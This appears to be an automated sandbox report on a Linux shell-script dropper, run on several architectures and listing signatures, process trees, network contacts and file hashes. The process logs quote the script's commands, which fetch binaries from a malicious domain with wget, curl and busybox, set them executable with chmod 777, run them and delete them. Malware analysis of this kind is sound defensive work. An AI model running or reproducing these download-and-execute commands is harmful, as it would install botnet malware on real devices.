Analysis Overview
SHA256
bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0
Threat Level: Shows suspicious behavior
The file bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0.sh was found to be: Shows suspicious behavior.
Malicious Activity Summary
File and Directory Permissions Modification
Executes dropped EXE
Checks CPU configuration
Reads runtime system information
System Network Configuration Discovery
Writes file to tmp directory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-25 02:56
Signatures
Analysis: behavioral4
Detonation Overview
Submitted
2024-11-25 02:56
Reported
2024-11-25 02:58
Platform
debian9-mipsel-20240418-en
Max time kernel
150s
Max time network
152s
Command Line
Signatures
File and Directory Permissions Modification
| Description | Indicator | Process | Target |
| N/A | N/A | /bin/chmod | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | /tmp/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH | /tmp/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH | /usr/bin/curl | N/A |
Processes
/tmp/bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0.sh
[/tmp/bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH]
/bin/chmod
[chmod 777 echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH]
/tmp/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH
[./echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH]
/bin/rm
[rm echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/PHt8ev9v5d3A2CLoiKX1ynO76Sv0lRGbcb]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/PHt8ev9v5d3A2CLoiKX1ynO76Sv0lRGbcb]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
Files
/tmp/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH
| MD5 | 998368d7c95ea4293237f2320546e440 |
| SHA1 | 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4 |
| SHA256 | 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736 |
| SHA512 | 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97 |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-25 02:56
Reported
2024-11-25 02:58
Platform
ubuntu1804-amd64-20240729-en
Max time kernel
148s
Max time network
130s
Command Line
Signatures
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0.sh
[/tmp/bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH]
Network
| Country | Destination | Domain | Proto |
| N/A | 224.0.0.251:5353 | udp | |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 151.101.129.91:443 | tcp | |
| GB | 185.125.188.61:443 | tcp | |
| GB | 185.125.188.62:443 | tcp | |
| US | 151.101.129.91:443 | tcp | |
| GB | 89.187.167.38:443 | tcp | |
| US | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| US | 1.1.1.1:53 | 1527653184.rsc.cdn77.org | udp |
| GB | 89.187.167.39:443 | 1527653184.rsc.cdn77.org | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-25 02:56
Reported
2024-11-25 02:59
Platform
debian9-armhf-20240611-en
Max time kernel
149s
Max time network
36s
Command Line
Signatures
Checks CPU configuration
| Description | Indicator | Process | Target |
| File opened for reading | /proc/cpuinfo | /usr/bin/curl | N/A |
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
| File opened for reading | /proc/self/auxv | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
Processes
/tmp/bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0.sh
[/tmp/bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
Files
Analysis: behavioral3
Detonation Overview
Submitted
2024-11-25 02:56
Reported
2024-11-25 02:58
Platform
debian9-mipsbe-20240729-en
Max time kernel
133s
Max time network
151s
Command Line
Signatures
Reads runtime system information
| Description | Indicator | Process | Target |
| File opened for reading | /proc/sys/crypto/fips_enabled | /usr/bin/curl | N/A |
System Network Configuration Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | /usr/bin/wget | N/A |
| N/A | N/A | /usr/bin/curl | N/A |
| N/A | N/A | /bin/busybox | N/A |
Writes file to tmp directory
| Description | Indicator | Process | Target |
| File opened for modification | /tmp/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH | /usr/bin/curl | N/A |
Processes
/tmp/bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0.sh
[/tmp/bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0.sh]
/bin/rm
[/bin/rm bins.sh]
/usr/bin/wget
[wget http://conn.masjesu.zip/bins/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH]
/usr/bin/curl
[curl -O http://conn.masjesu.zip/bins/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH]
/bin/busybox
[/bin/busybox wget http://conn.masjesu.zip/bins/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH]
Network
| Country | Destination | Domain | Proto |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
| US | 216.126.231.240:80 | conn.masjesu.zip | tcp |
| US | 1.1.1.1:53 | conn.masjesu.zip | udp |
| BG | 87.120.125.191:80 | conn.masjesu.zip | tcp |
Files
/tmp/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH
| MD5 | 998368d7c95ea4293237f2320546e440 |
| SHA1 | 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4 |
| SHA256 | 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736 |
| SHA512 | 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97 |